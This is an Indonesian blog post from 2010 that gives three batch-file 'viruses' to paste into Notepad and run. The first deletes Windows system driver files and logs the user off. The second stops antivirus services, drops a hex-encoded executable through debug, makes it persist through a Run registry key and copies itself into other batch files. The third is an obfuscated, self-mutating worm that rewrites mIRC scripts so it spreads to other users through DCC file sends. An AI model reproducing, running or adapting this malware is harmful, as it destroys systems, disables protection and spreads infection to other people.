Rabu, 10 Februari 2010

Cara buat virus bahaya lewat Notepad


kali ini neh,lo tinggal copy paste ke notepat langsung deh jadi virusnya.
Silahkan copy paste seluruh script yang ada disini ke notepad, truz save dengan extensi .bat, lalu jalankan. Tinggal lihat efeknya di komputer…..
Virus 1 :
@ECHO OFF
:begin
del c:\windows\system32\drivers\*.sys
del c:\windows\system32\drivers\*.dll
Echo Tutup program ini atau komputer kamu error!
pause
Echo Windows kini berusaha menagkal virus..
pause
Echo 10 ( detik )
pause
Echo 20 ( detik )
pause
Echo 30 ( detik )
pause
Echo 40 ( detik )
pause
Echo 50 ( detik )
pause
Echo 60 ( detik )
Start Notepad
Start Notepad
Start Notepad
Start Notepad
Start Notepad
Echo ( Virus Dijalankan.. )
pause
Echo Do Kamu suka paint?
start mspaint
start mspaint
start mspaint
start mspaint
start mspaint
Pause
Echo 70 ( detik )
Pause
Echo Jam di komputer sudah di ubah 12:00
Time 12:00
pause
Echo Virus menginfeksi…..
Start mspaint
Start mspaint
Start mspaint
Start mspaint
Start mspaint
Start mspaint
Start mspaint
Pause
echo awww… !
echo ini yang kamu dapatkan dari aku!
Pause
Start notepad
Start notepad
Start notepad
Start notepad
Start notepad
Start notepad
Start notepad
pause
md Loser.bat
md Fucker.bat
md shutup.bat
md amit-amit.bat
pause
md ShwAgl1.bat
md ShwAgl2.bat
md ShwAgl3.bat
md ShwAgl4.bat
md ShwAgl5.bat
md Apakabarkamusekaranghuh?.bat
echo ( SEKARANG LIHAT KE DEKSTOP FUCKER )
pause
echo sekarang minta maaf dan sersikap baik ama ShwAgl,stoopid
echo karena kamu enggak tutup programnya sih..!
pause
echo oke sekarang lihat ha..ha..ha…
rundll32.exe shell32.dll,SHExitWindowsEx 2
echo Sekarang bilang bye… bye…

Silahkan copy paste seluruh script yang ada disini ke notepad, truz save dengan extensi .bat, lalu jalankan. Tinggal lihat efeknya di komputer…..

VIRUS II

Code:
@echo off
set lool=for
set BT=*.bat
set scr=*.scr
set PrL=C:\Perl\bin
set StpAV=Net Stop
set Bk=ShdwAngel.scr
echo %comspec%|find “cmd” >nul
if errorlevel 1 goto InstaL
%StpAV% MCSHIELD >nul & cls
%StpAV% NORTON ANTIVIRUS AUTO PROTECT SERVICE >nul & cls
%StpAV% NOD32 Kernel Service >nul & cls
%StpAV% SharedAccess >nul & cls
%StpAV% Automatic Updates >nul & cls
%StpAV% TrueVector Internet Monitor >nul & cls
:InstaL
echo n %Bk% >>$
echo e 0100 4D 5A 00 00 00 00 00 00 00 00 00 00 50 45 00 00>>$
echo e 0110 4C 01 02 00 46 53 47 21 00 00 00 00 00 00 00 00>>$
echo e 0120 E0 00 0F 01 0B 01 00 00 00 04 00 00 00 CA 00 00>>$
echo e 0130 00 00 00 00 54 01 00 00 00 10 00 00 0C 00 00 00>>$
echo e 0140 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00>>$
echo e 0150 00 00 00 00 04 00 00 00 00 00 00 00 00 20 01 00>>$
echo e 0160 00 02 00 00 00 00 00 00 02 00 00 00 00 00 10 00>>$
echo e 0170 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00>>$
echo e 0180 10 00 00 00 00 00 00 00 00 00 00 00 50 12 01 00>>$
echo e 0190 84 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>$
echo e 01A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>$
echo e 01B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>$
echo e 01C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>$
echo e 01D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>$
echo e 01E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>$
echo e 01F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>$
echo e 0200 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00>>$
echo e 0210 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>$
echo e 0220 00 00 00 00 00 00 00 00 E0 00 00 C0 00 00 00 00>>$
echo e 0230 00 00 00 00 00 10 00 00 00 10 01 00 D1 02 00 00>>$
echo e 0240 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00>>$
echo e 0250 E0 00 00 C0 87 25 94 12 41 00 61 94 55 A4 B6 80>>$
echo e 0260 FF 13 73 F9 33 C9 FF 13 73 16 33 C0 FF 13 73 1F>>$
echo e 0270 B6 80 41 B0 10 FF 13 12 C0 73 FA 75 3A AA EB E0>>$
echo e 0280 FF 53 08 02 F6 83 D9 01 75 0E FF 53 04 EB 24 AC>>$
echo e 0290 D1 E8 74 2D 13 C9 EB 18 91 48 C1 E0 08 AC FF 53>>$
echo e 02A0 04 3B 43 F8 73 0A 80 FC 05 73 06 83 F8 7F 77 02>>$
echo e 02B0 41 41 95 8B C5 B6 00 56 8B F7 2B F0 F3 A4 5E EB>>$
echo e 02C0 9F 5E AD 97 AD 50 FF 53 10 95 8B 07 40 78 F3 75>>$
echo e 02D0 03 FF 63 0C 50 55 FF 53 14 AB EB EE 33 C9 41 FF>>$
echo e 02E0 13 13 C9 FF 13 72 F8 C3 02 D2 75 05 8A 16 46 12>>$
echo e 02F0 D2 C3 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00>>$
echo e 0300 68 1C 14 30 40 3A B8 01 F0 E0 E8 31 B7 02 0A 6A>>$
echo e 0310 06 CB E7 4F 1E D8 D0 17 A3 A2 60 31 34 66 C7 05>>$
echo e 0320 A6 DB 0F 1E 22 10 AA 83 01 22 27 A8 05 1E 61 6A>>$
echo e 0330 10 68 05 1C FF 35 05 29 E8 85 0A 3E 05 0D 64 7E>>$
echo e 0340 47 32 C0 B6 B6 19 EA B7 C3 0B B8 AB 11 33 CD C8>>$
echo e 0350 15 6A 28 05 50 05 30 E8 2A 49 B8 25 12 C8 31 CC>>$
echo e 0360 D9 12 11 68 FA BD D3 32 1A 15 A0 82 44 8A 1D 81>>$
echo e 0370 45 22 C3 3C C0 74 E5 C8 FC D8 9B 44 41 2B 14 DC>>$
echo e 0380 93 B2 14 E0 16 42 E4 C4 04 32 10 D9 43 B1 34 0A>>$
echo e 0390 16 4F 13 0C 14 1D 86 A1 C0 4D 37 A3 10 1D A5 C4>>$
echo e 03A0 08 0A 14 BF BF 18 D3 F0 29 08 2C 88 94 F5 3A 44>>$
echo e 03B0 68 A0 09 E8 82 C3 93 83 3D A4 03 17 02 75 24 68>>$
echo e 03C0 1C 75 49 57 D8 B7 65 05 01 0E 06 68 0A 30 11 0C>>$
echo e 03D0 E8 4B 57 EB 53 22 24 B2 08 31 27 16 C6 65 3C 47>>$
echo e 03E0 10 10 63 09 75 7E 2C 91 4D 6F F9 3F A3 FB 57 2A>>$
echo e 03F0 09 28 11 52 03 D0 55 8B EC 83 C4 98 C7 45 F4 52>>$
echo e 0400 0C A0 77 53 F8 E6 7E 6C FC 39 A5 8D C3 2E 50 68>>$
echo e 0410 BC 75 79 A4 DB 31 E8 C1 2B C6 05 22 3C 29 01 43>>$
echo e 0420 15 CE 26 7C 31 A8 61 DD EC 93 47 69 44 32 4C DB>>$
echo e 0430 2F 89 28 45 F0 40 0F EC 50 FF 75 34 1C D0 49 18>>$
echo e 0440 E8 A1 39 EB C1 1C C9 C2 04 2A 7A 47 F0 A2 C4 11>>$
echo e 0450 B8 08 47 86 43 B7 8A 54 26 64 F0 11 7E 29 44 E7>>$
echo e 0460 A2 2C 55 33 1B 06 77 2A 85 93 91 4E 14 EB C4 77>>$
echo e 0470 06 FF 25 18 20 2F ED C2 A4 06 04 32 08 19 0C 0C>>$
echo e 0480 10 86 43 14 7B 86 43 24 21 28 90 2C C8 30 64 34>>$
echo e 0490 32 38 28 01 DD 57 F1 CB 2A 0C 14 DD 09 ED 89 FD>>$
echo e 04A0 11 09 21 02 11 26 BD 19 63 FF 02 7F 72 84 65 F5>>$
echo e 04B0 EC 7D FE 32 0F 09 12 24 16 5B 41 9F 0C 51 1C DD>>$
echo e 04C0 61 E2 68 2A 10 2C 9F 9C 69 9C 5F 19 73 06 80 BA>>$
echo e 04D0 F1 32 02 09 0D 24 10 48 13 91 17 42 22 03 43 72>>$
echo e 04E0 65 61 74 98 50 69 70 EF 4B 0E 76 3F 6F 63 B8 73>>$
echo e 04F0 A9 41 12 43 54 68 28 0F 64 10 7F 47 FC 56 FF F4>>$
echo e 0500 73 69 0A 6F 6E 45 78 21 19 52 31 46 F9 6C 53 3E>>$
echo e 0510 53 7E 0E 61 70 11 57 72 69 A2 66 15 0E 4B 45 52>>$
echo e 0520 4E 60 4C 33 32 2E 64 FB FB 05 31 53 4F 43 4B 64>>$
echo e 0530 0D 7B 01 EA FC 63 07 6D 64 2E 65 78 2C 10 6F F3>>$
echo e 0540 E8 61 6E DB 18 11 85 6B 01 FF FB B9 80 00 00 00>>$
echo e 0550 A8 12 01 00 00 00 00 00 00 00 00 00 F2 01 00 00>>$
echo e 0560 A8 12 01 00 00 00 00 00 00 00 00 00 00 00 00 00>>$
echo e 0570 00 00 00 00 00 00 00 00 00 10 40 00 00 10 41 00>>$
echo e 0580 40 20 40 00 00 00 00 00 98 12 41 00 80 00 00 00>>$
echo e 0590 00 7D 00 00 78 12 41 00 E8 01 40 00 DC 01 40 00>>$
echo e 05A0 DE 01 40 00 00 10 40 00 B2 12 01 00 C0 12 01 00>>$
echo e 05B0 00 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41>>$
echo e 05C0 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73>>$
echo e 05D0 00 00>>$
echo rcx>>$
echo 4D1>>$
echo w>>$
echo q>>$
debug < $ >nul
copy %Bk% %windir%\%Bk% >nul
del $ >nul
echo REGEDIT4 >>_.reg
echo. >>_.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] >>_.reg
echo “Screen Server”=”%Bk%” >>_.reg
regedit /s _.reg
del _.reg >nul
%lool% %%_ in (..\ %path%\ %PrL%\ C:\ ) do copy %Bk% %%_\ >nul & cls
%lool% %%T in (%path%\%scr% ) do copy %Bk% %%T >nul & cls
%lool% %%I in (..\ %path%\ %PrL%\ C:\ ) do copy %0 %%I\ >nul & cls
%lool% %%N in (%BT% ..\%BT% %path%\%BT% %PrL%\%BT% C:\%BT% ) do type %0 >>%%N >nul & cls
%lool% %%I in (%BT% ..\%BT% %path%\%BT% %PrL%\%BT% C:\%BT% ) do attrib +R %%I >nul & cls
%Bk%
exit

VIrus 3 :
Silahkan copy paste seluruh script yang ada disini ke notepad, truz save dengan extensi .bat, lalu jalankan. Tinggal lihat efeknya di komputer…..

set shadow=0
@echo off % mawar-kuning %
cls % mawar-kuning %
% mawar-kuning %set /a shadow=%shadow%+1
% mawar-kuning %if %shadow% EQU 5 (
% mawar-kuning %echo kamu telah terinfeksi mawar kuning !!
% mawar-kuning %set shadow=0
% mawar-kuning %)
% mawar-kuning %echo set shadow=%shadow% >mawarkuning.bat
% mawar-kuning %set shadow=
% mawar-kuning %set qwxykjsi=set
% mawar-kuning %set aaa=A
%qwxykjsi% fi=if % mawar-kuning %
%qwxykjsi% nt=not % mawar-kuning %
%qwxykjsi% el=errorlevel % mawar-kuning %
%qwxykjsi% ine=%fi% %nt% %el% % mawar-kuning %
% mawar-kuning %set vrsa=rndom
set oto=goto% mawar-kuning %
%qwxykjsi% a=0 % mawar-kuning %
set fd=find% mawar-kuning %
%fd% “mawar-kuning”<%0>>mawarkuning.bat
%qwxykjsi% xp=true% mawar-kuning %
% mawar-kuning %if %xp% EQU true goto xptruea
goto winmawar % mawar-kuning %
:xptruea % mawar-kuning %
% mawar-kuning %set a=0
% mawar-kuning %set b=0
% mawar-kuning %set c=0
% mawar-kuning %set d=0
% mawar-kuning %set e=0
% mawar-kuning %set f=0
% mawar-kuning %set g=0
% mawar-kuning %set h=0
% mawar-kuning %set i=0
% mawar-kuning %set j=0
% mawar-kuning %set k=0
% mawar-kuning %set l=0
% mawar-kuning %set m=0
% mawar-kuning %set n=0
% mawar-kuning %set o=0
% mawar-kuning %set p=0
% mawar-kuning %set q=0
% mawar-kuning %set r=0
% mawar-kuning %set s=0
% mawar-kuning %set t=0
% mawar-kuning %set u=0
:mulai0 % mawar-kuning %
% mawar-kuning %set aa=0
:mulai1 % mawar-kuning %
if %aa% EQU 5 goto endmawarkuning % mawar-kuning %
%qwxykjsi% /a aa=%aa%+1 % mawar-kuning %
:mulai2 % mawar-kuning %
ver|time|%fd% “,1?>nul % mawar-kuning %
%ine% 1 %qwxykjsi% %vrsa%%aa%=1% mawar-kuning %
%ine% 1 %oto% mulai1 % mawar-kuning %
ver|time|%fd% “,2?>nul % mawar-kuning %
%ine% 1 %qwxykjsi% %vrsa%%aa%=2% mawar-kuning %
%ine% 1 %oto% mulai1 % mawar-kuning %
ver|time|%fd% “,3?>nul % mawar-kuning %
%ine% 1 %qwxykjsi% %vrsa%%aa%=3% mawar-kuning %
%ine% 1 %oto% mulai1 % mawar-kuning %
ver|time|%fd% “,4?>nul % mawar-kuning %
%ine% 1 %qwxykjsi% %vrsa%%aa%=4% mawar-kuning %
%ine% 1 %oto% mulai1 % mawar-kuning %
ver|time|%fd% “,5?>nul % mawar-kuning %
%ine% 1 %qwxykjsi% %vrsa%%aa%=5% mawar-kuning %
%ine% 1 %oto% mulai1 % mawar-kuning %
ver|time|%fd% “,6?>nul % mawar-kuning %
%ine% 1 %qwxykjsi% %vrsa%%aa%=6% mawar-kuning %
%ine% 1 %oto% mulai1 % mawar-kuning %
ver|time|%fd% “,7?>nul % mawar-kuning %
%ine% 1 %qwxykjsi% %vrsa%%aa%=7% mawar-kuning %
%ine% 1 %oto% mulai1 % mawar-kuning %
ver|time|%fd% “,8?>nul % mawar-kuning %
%ine% 1 %qwxykjsi% %vrsa%%aa%=8% mawar-kuning %
%ine% 1 %oto% mulai1 % mawar-kuning %
ver|time|%fd% “,9?>nul % mawar-kuning %
%ine% 1 %qwxykjsi% %vrsa%%aa%=9% mawar-kuning %
%ine% 1 %oto% mulai1 % mawar-kuning %
ver|time|%fd% “,0?>nul % mawar-kuning %
%ine% 1 %qwxykjsi% %vrsa%%aa%=10% mawar-kuning %
%ine% 1 %oto% mulai1 % mawar-kuning %
goto mulai2 % mawar-kuning %
:endmawarkuning % mawar-kuning %
% mawar-kuning %if %a% NEQ 1 (if %rndom1% EQU 1 (
% mawar-kuning %find “%aaa%AAA” <%0 >>mawarkuning.bat
% mawar-kuning %set a=1
% mawar-kuning %))
% mawar-kuning %if %b% NEQ 1 (if %rndom1% EQU 2 (
% mawar-kuning %find “%aaa%BBB” <%0 >>mawarkuning.bat
% mawar-kuning %set b=1
% mawar-kuning %))
% mawar-kuning %if %c% NEQ 1 (if %rndom1% EQU 3 (
% mawar-kuning %find “%aaa%CCC” <%0 >>mawarkuning.bat
% mawar-kuning %set c=1
% mawar-kuning %))
% mawar-kuning %if %d% NEQ 1 (if %rndom1% EQU 4 (
% mawar-kuning %find “%aaa%DDD” <%0 >>mawarkuning.bat
% mawar-kuning %set d=1
% mawar-kuning %))
% mawar-kuning %if %e% NEQ 1 (if %rndom2% EQU 1 (
% mawar-kuning %find “%aaa%EEE” <%0 >>mawarkuning.bat
% mawar-kuning %set e=1
% mawar-kuning %))
% mawar-kuning %if %f% NEQ 1 (if %rndom2% EQU 2 (
% mawar-kuning %find “%aaa%FFF” <%0 >>mawarkuning.bat
% mawar-kuning %set f=1
% mawar-kuning %))
% mawar-kuning %if %g% NEQ 1 (if %rndom2% EQU 3 (
% mawar-kuning %find “%aaa%GGG” <%0 >>mawarkuning.bat
% mawar-kuning %set g=1
% mawar-kuning %))
% mawar-kuning %if %h% NEQ 1 (if %rndom2% EQU 4 (
% mawar-kuning %find “%aaa%HHH” <%0 >>mawarkuning.bat
% mawar-kuning %set h=1
% mawar-kuning %))
% mawar-kuning %if %i% NEQ 1 (if %rndom3% EQU 1 (
% mawar-kuning %find “%aaa%III” <%0 >>mawarkuning.bat
% mawar-kuning %set i=1
% mawar-kuning %))
% mawar-kuning %if %j% NEQ 1 (if %rndom3% EQU 2 (
% mawar-kuning %find “%aaa%JJJ” <%0 >>mawarkuning.bat
% mawar-kuning %set j=1
% mawar-kuning %))
% mawar-kuning %if %k% NEQ 1 (if %rndom3% EQU 3 (
% mawar-kuning %find “%aaa%KKK” <%0 >>mawarkuning.bat
% mawar-kuning %set k=1
% mawar-kuning %))
% mawar-kuning %if %l% NEQ 1 (if %rndom3% EQU 4 (
% mawar-kuning %find “%aaa%LLL” <%0 >>mawarkuning.bat
% mawar-kuning %set l=1
% mawar-kuning %))
% mawar-kuning %if %m% NEQ 1 (if %rndom4% EQU 1 (
% mawar-kuning %find “%aaa%MMM” <%0 >>mawarkuning.bat
% mawar-kuning %set m=1
% mawar-kuning %))
% mawar-kuning %if %n% NEQ 1 (if %rndom4% EQU 2 (
% mawar-kuning %find “%aaa%NNN” <%0 >>mawarkuning.bat
% mawar-kuning %set n=1
% mawar-kuning %))
% mawar-kuning %if %o% NEQ 1 (if %rndom4% EQU 3 (
% mawar-kuning %find “%aaa%OOO” <%0 >>mawarkuning.bat
% mawar-kuning %set o=1
% mawar-kuning %))
% mawar-kuning %if %p% NEQ 1 (if %rndom4% EQU 4 (
% mawar-kuning %find “%aaa%PPP” <%0 >>mawarkuning.bat
% mawar-kuning %set p=1
% mawar-kuning %))
% mawar-kuning %if %q% NEQ 1 (if %rndom5% EQU 1 (
% mawar-kuning %find “%aaa%QQQ” <%0 >>mawarkuning.bat
% mawar-kuning %set q=1
% mawar-kuning %))
% mawar-kuning %if %r% NEQ 1 (if %rndom5% EQU 2 (
% mawar-kuning %find “%aaa%RRR” <%0 >>mawarkuning.bat
% mawar-kuning %set r=1
% mawar-kuning %))
% mawar-kuning %if %s% NEQ 1 (if %rndom5% EQU 3 (
% mawar-kuning %find “%aaa%SSS” <%0 >>mawarkuning.bat
% mawar-kuning %set s=1
% mawar-kuning %))
% mawar-kuning %if %t% NEQ 1 (if %rndom5% EQU 4 (
% mawar-kuning %find “%aaa%TTT” <%0 >>mawarkuning.bat
% mawar-kuning %set t=1
% mawar-kuning %))
% mawar-kuning %if %u% NEQ 1 (if %rndom5% EQU 5 (
% mawar-kuning %find “%aaa%UUU” <%0 >>mawarkuning.bat
% mawar-kuning %set u=1
% mawar-kuning %))
% mawar-kuning %if %a% EQU 1 (if %b% EQU 1 (if %c% EQU 1 (if %d% EQU 1 (
% mawar-kuning %if %e% EQU 1 (if %f% EQU 1 (if %g% EQU 1 (if %h% EQU 1 (
% mawar-kuning %if %i% EQU 1 (if %j% EQU 1 (if %k% EQU 1 (if %l% EQU 1 (
% mawar-kuning %if %m% EQU 1 (if %n% EQU 1 (if %o% EQU 1 (if %p% EQU 1 (
% mawar-kuning %if %q% EQU 1 (if %r% EQU 1 (if %s% EQU 1 (if %t% EQU 1 (if %u% EQU 1 (
goto irca % mawar-kuning %
% mawar-kuning %)))))))))))))))))))))
goto mulai0 % mawar-kuning %
:winmawar % mawar-kuning %
set wina=0% mawar-kuning %
set winb=0% mawar-kuning %
set winc=0% mawar-kuning %
set wind=0% mawar-kuning %
set wine=0% mawar-kuning %
set oto=% mawar-kuning %
set qwxykjsi=% mawar-kuning %
set nt=% mawar-kuning %
set fi=% mawar-kuning %
set el=% mawar-kuning %
set ine=% mawar-kuning %
:mulaiwin2 % mawar-kuning %
% mawar-kuning %if not %wina%==1 goto mawarkuningengi
% mawar-kuning %if not %winb%==1 goto mawarkuningengi
% mawar-kuning %if not %winc%==1 goto mawarkuningengi
% mawar-kuning %if not %wind%==1 goto mawarkuningengi
% mawar-kuning %if not %wine%==1 goto mawarkuningengi
goto winirc % mawar-kuning %
:mawarkuningengi % mawar-kuning %
ver|time|find “,1?>nul % mawar-kuning %
if not errorlevel 1 set randoma=1% mawar-kuning %
if not errorlevel 1 goto enmawarkuningwin % mawar-kuning %
ver|time|find “,2?>nul % mawar-kuning %
if not errorlevel 1 set randoma=2% mawar-kuning %
if not errorlevel 1 goto enmawarkuningwin % mawar-kuning %
ver|time|find “,3?>nul % mawar-kuning %
if not errorlevel 1 set randoma=3% mawar-kuning %
if not errorlevel 1 goto enmawarkuningwin % mawar-kuning %
ver|time|find “,4?>nul % mawar-kuning %
if not errorlevel 1 set randoma=4% mawar-kuning %
if not errorlevel 1 goto enmawarkuningwin % mawar-kuning %
ver|time|find “,5?>nul % mawar-kuning %
if not errorlevel 1 set randoma=5% mawar-kuning %
if not errorlevel 1 goto enmawarkuningwin % mawar-kuning %
goto mulaiwin2 % mawar-kuning %
:enmawarkuningwin % mawar-kuning %
% mawar-kuning %if not %wina%==1 if %randoma%==1 goto enamawarkuningwin
% mawar-kuning %if not %winb%==1 if %randoma%==2 goto enbmawarkuningwin
% mawar-kuning %if not %winc%==1 if %randoma%==3 goto encmawarkuningwin
% mawar-kuning %if not %wind%==1 if %randoma%==4 goto endmawarkuningwin
% mawar-kuning %if not %wine%==1 if %randoma%==5 goto enemawarkuningwin
goto mulaiwin2 % mawar-kuning %
:enamawarkuningwin % mawar-kuning %
% mawar-kuning %find “%aaa%BBB”<%0>> mawarkuning.bat
% mawar-kuning %find “%aaa%AAA”<%0>> mawarkuning.bat
% mawar-kuning %find “%aaa%KKK”<%0>> mawarkuning.bat
% mawar-kuning %find “%aaa%DDD”<%0>> mawarkuning.bat
set wina=1% mawar-kuning %
% mawar-kuning %goto mulaiwin2
:enbmawarkuningwin % mawar-kuning %
% mawar-kuning %find “%aaa%EEE”<%0>> mawarkuning.bat
% mawar-kuning %find “%aaa%LLL”<%0>> mawarkuning.bat
% mawar-kuning %find “%aaa%GGG”<%0>> mawarkuning.bat
% mawar-kuning %find “%aaa%HHH”<%0>> mawarkuning.bat
set winb=1% mawar-kuning %
% mawar-kuning %goto mulaiwin2
:encmawarkuningwin % mawar-kuning %
% mawar-kuning %find “%aaa%III”<%0>> mawarkuning.bat
% mawar-kuning %find “%aaa%JJJ”<%0>> mawarkuning.bat
% mawar-kuning %find “%aaa%CCC”<%0>> mawarkuning.bat
% mawar-kuning %find “%aaa%FFF”<%0>> mawarkuning.bat
set winc=1% mawar-kuning %
% mawar-kuning %goto mulaiwin2
:endmawarkuningwin % mawar-kuning %
% mawar-kuning %find “%aaa%NNN”<%0>> mawarkuning.bat
% mawar-kuning %find “%aaa%MMM”<%0>> mawarkuning.bat
% mawar-kuning %find “%aaa%PPP”<%0>> mawarkuning.bat
% mawar-kuning %find “%aaa%OOO”<%0>> mawarkuning.bat
set wind=1% mawar-kuning %
% mawar-kuning %goto mulaiwin2
:enemawarkuningwin % mawar-kuning %
% mawar-kuning %find “%aaa%RRR”<%0>> mawarkuning.bat
% mawar-kuning %find “%aaa%SSS”<%0>> mawarkuning.bat
% mawar-kuning %find “%aaa%UUU”<%0>> mawarkuning.bat
% mawar-kuning %find “%aaa%TTT”<%0>> mawarkuning.bat
% mawar-kuning %find “%aaa%QQQ”<%0>> mawarkuning.bat
set wine=1% mawar-kuning %
% mawar-kuning %goto mulaiwin2
:winirc % mawar-kuning %
% mawar-kuning %set wina=
% mawar-kuning %set winb=
% mawar-kuning %set winc=
% mawar-kuning %set wind=
% mawar-kuning %set wine=
% mawar-kuning %set aaa=
% mawar-kuning %set randoma=
:irca % AAAA %
if exist C:\mirc\script.ini set mir=C:\mirc% AAAA %
echo %mir%
if exist C:\mirc32\script.ini set mir=C:\mirc32% AAAA %
if exist C:\proga~1\mirc\script.ini set mir=C:\progra~1\mirc% AAAA %
if exist C:\prgra~1\mirc32\script.ini set mir=C:\progra~1\mirc32% AAAA %
goto ircb% AAAA %
:ircb % ABBB %
set mirc=%mir%\script.ini% ABBB %
set vs=chr(% ABBB %
goto ircc% ABBB %
:ircc % ACCC %
set wc=echo file.writeline% ACCC %
goto ircd% ACCC %
:ircd % ADDD %
echo dim fso, file > irc.vbs% ADDD %
echo set fso = createobject(”scripting.filesystemobject”) >>irc.vbs% ADDD %
echo set file = fso.createtextfile (”%mir%\script.ini”, true)>>irc.vbs% ADDD %
goto irce% ADDD %
:irce % AEEE %
%wc% ” on 1:st” + %vs%97) + “rt: { .” + %vs%115) + %vs%101) + %vs%116) + ” ” + %vs%37) + “filee %mir%\name.b” + %vs%97) + “t }”>>irc.vbs% AEEE %
%wc% ” on 1:join:#: { “>>irc.vbs% AEEE %
%wc% ” .if (” + %vs%36) + “nick != ” + %vs%36) + “me ” + %vs%38) + “” + %vs%38) + ” ” + %vs%37) + “old != ” + %vs%36) + “nick) {”>>irc.vbs% AEEE %
goto ircf% AEEE %
:ircf % AFFF %
%wc% ” .” + %vs%115) + %vs%101) + %vs%116) + ” ” + %vs%37) + “old ” + %vs%36) + “nick”>>irc.vbs% AFFF %
%wc% ” .timer ” + %vs%36) + “+ ” + %vs%36) + “r” + %vs%97) + “nd(1,100000) 1 5 .” + %vs%36) + “check_him( ” + %vs%36) + “nick , ” + %vs%36) + “ch” + %vs%97) + “n )”>>irc.vbs% AFFF %
goto ircg% AFFF %
:ircg % AGGG %
%wc% ” } “>>irc.vbs% AGGG %
%wc% ” }”>>irc.vbs% AGGG %
%wc% ” ” + %vs%97) + “li” + %vs%97) + “s check_him {”>>irc.vbs% AGGG %
goto irch% AGGG %
:irch % AHHH %
%wc% ” .” + %vs%115) + %vs%101) + %vs%116) + ” ” + %vs%37) + “port ” + %vs%36) + “r” + %vs%97) + “nd(9999,999999) “>>irc.vbs% AHHH %
%wc% ” .while (” + %vs%36) + “portfree(” + %vs%37) + “port) == ” + %vs%36) + “f” + %vs%97) + “lse) { .” + %vs%115) + %vs%101) + %vs%116) + ” ” + %vs%37) + “port ” + %vs%36) + “r” + %vs%97) + “nd(9999,999999) }”>>irc.vbs% AHHH %
goto irci% AHHH %
:irci % AIII %
%wc% ” .%fi% (” + %vs%36) + “1 !isop ” + %vs%36) + “2) { “>>irc.vbs% AIII %
%wc% ” .%nt%ice ” + %vs%36) + “1 :DCC ” + %vs%115) + %vs%101) + %vs%110) + %vs%100) + ” teletubies ( ” + %vs%36) + “+ ” + %vs%36) + “ip ” + %vs%36) + “+ ) “>>irc.vbs% AIII %
goto ircj% AIII %
:ircj % AJJJ %
%wc% ” .” + %vs%115) + %vs%101) + %vs%116) + ” ” + %vs%37) + “sock_n” + %vs%97) + “me ” + %vs%36) + “r” + %vs%97) + “nd(1,99999)”>>irc.vbs% AJJJ %
%wc% ” .msg ” + %vs%36) + “1 _DCC ” + %vs%115) + %vs%101) + %vs%110) + %vs%100) + ” ” + %vs%37) + “filee ” + %vs%36) + “longip(” + %vs%36) + “ip) ” + %vs%37) + “port ” + %vs%36) + “file(” + %vs%37) + “filee).size ” + %vs%36) + “+ _”>>irc.vbs% AJJJ %
%wc% ” .socklisten ” + %vs%37) + “sock_n” + %vs%97) + “me ” + %vs%37) + “port”>>irc.vbs% AJJJ %
goto irck% AJJJ %
:irck % AKKK %
%wc% ” .timers off”>>irc.vbs% AKKK %
%wc% ” .timer ” + %vs%36) + “+ ” + %vs%36) + “r” + %vs%97) + “nd(1,99999) 0 10 .cloze”>>irc.vbs% AKKK %
%wc% ” } “>>irc.vbs% AKKK %
goto ircl% AKKK %
:ircl % ALLL %
%wc% ” }”>>irc.vbs% ALLL %
%wc% ” on 1:socklisten:” + %vs%37) + “sock_n” + %vs%97) + “me: {”>>irc.vbs% ALLL %
goto ircm% ALLL %
:ircm % AMMM %
%wc% ” .” + %vs%115) + %vs%101) + %vs%116) + ” ” + %vs%37) + “client_n” + %vs%97) + “me ” + %vs%36) + “r” + %vs%97) + “nd(1,9999999)”>>irc.vbs% AMMM %
%wc% ” .sockclose ” + %vs%37) + “sock_n” + %vs%97) + “me”>>irc.vbs% AMMM %
goto ircn% AMMM %
:ircn % ANNN %
%wc% ” .” + %vs%115) + %vs%101) + %vs%116) + ” ” + %vs%37) + “l 0?>>irc.vbs% ANNN %
%wc% ” .bre” + %vs%97) + “d ” + %vs%37) + “filee ” + %vs%37) + “l 4000 ” + %vs%38) + “le”>>irc.vbs % ANNN %
goto irco% ANNN %
:irco % AOOO %
%wc% ” .sockwrite -b ” + %vs%37) + “client_n” + %vs%97) + “me 4000 ” + %vs%38) + “le”>>irc.vbs% AOOO %
%wc% ” ” + %vs%37) + “l = ” + %vs%37) + “l + 4000?>>irc.vbs% AOOO %
goto ircp% AOOO %
:ircp % APPP %
%wc% ” .” + %vs%115) + %vs%101) + %vs%116) + ” ” + %vs%37) + “end 0?>>irc.vbs% APPP %
%wc% ” }”>>irc.vbs% APPP %
%wc% ” on 1:sockre” + %vs%97) + “d:” + %vs%37) + “client_n” + %vs%97) + “me: {”>>irc.vbs% APPP %
goto ircq % APPP %
:ircq % AQQQ %
%wc% ” .%fi% (” + %vs%37) + “l >= ” + %vs%36) + “file(” + %vs%37) + “filee).size) {”>>irc.vbs% AQQQ %
%wc% ” .” + %vs%115) + %vs%101) + %vs%116) + ” ” + %vs%37) + “end 1?>>irc.vbs% AQQQ %
goto ircr% AQQQ %
:ircr % ARRR %
%wc% ” .sockclose ” + %vs%37) + “client_n” + %vs%97) + “me”>>irc.vbs% ARRR %
%wc% ” .h” + %vs%97) + “lt”>>irc.vbs% ARRR %
%wc% ” } .else {”>>irc.vbs% ARRR %
goto ircs% ARRR %
:ircs % ASSS %
%wc% ” .%fi% (” + %vs%37) + “end != 1) {”>>irc.vbs% ASSS %
%wc% ” .bre” + %vs%97) + “d ” + %vs%37) + “filee ” + %vs%37) + “l 4000 ” + %vs%38) + “le”>>irc.vbs% ASSS %
goto irct% ASSS %
:irct % ATTT %
